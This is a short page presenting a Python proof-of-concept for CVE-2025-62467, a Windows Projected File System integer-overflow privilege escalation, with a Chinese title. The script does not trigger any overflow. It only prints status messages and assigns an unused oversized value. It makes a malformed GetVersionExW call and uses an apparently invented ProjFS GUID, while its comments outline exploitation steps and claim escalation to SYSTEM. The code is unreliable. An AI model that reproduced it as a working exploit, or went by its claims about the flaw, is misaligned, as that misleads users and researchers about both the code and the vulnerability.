CVE-2025-62467 Windows Projected File System 整数溢出权限提升漏洞

# CVE-2025-62467 PoC - Windows Projected File System Integer Overflow # This PoC demonstrates triggering the integer overflow condition # Actual exploitation requires advanced kernel debugging skills import ctypes from ctypes import wintypes import struct # Windows API definitions kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll # Projected File System GUID PROJFS_GUID = '{0D9A7536-1C90-4E5E-9F1B-5C5A5B5E9F1B}' def create_projected_directory(target_path): """Create a Projected File System directory for testing""" try: # Enable ProjFS via Windows API # This is a simplified PoC - full exploitation requires kernel-level manipulation print(f"[*] Attempting to create Projected FS at: {target_path}") # Trigger conditions that may lead to integer overflow # In real exploitation, this would involve: # 1. Creating multiple virtual files with specific attributes # 2. Manipulating file size values to cause integer wraparound # 3. Exploiting the overflow in buffer allocation # Simulated trigger - actual PoC requires kernel debugging malicious_size = 0xFFFFFFFFFFFFFFFF # Potential overflow trigger print(f"[*] Setting projected file size to trigger overflow: {hex(malicious_size)}") print(f"[!] This requires kernel-mode debugging to confirm overflow") print(f"[!] Successful exploitation leads to EoP from low-privilege to SYSTEM") return True except Exception as e: print(f"[-] Error: {e}") return False def verify_vulnerability(): """Verify if system is vulnerable""" print("[*] CVE-2025-62467 Vulnerability Check") print("[*] Target: Windows Projected File System (ProjFS)") print("[*] Vulnerability: Integer overflow in file size handling") print("[*] Impact: Local Privilege Escalation") print("") # Check Windows version version = ctypes.c_ulong() kernel32.GetVersionExW(ctypes.byref(version)) print(f"[*] Windows Version: {version.value & 0xFF}.{(version.value >> 8) & 0xFF}") print("[*] Checking for ProjFS support...") return True if __name__ == "__main__": verify_vulnerability() create_projected_directory("C:\\TestProjectedFS") print(" [!] Note: This PoC is for educational purposes only.") print("[!] Actual exploitation requires kernel debugging tools.")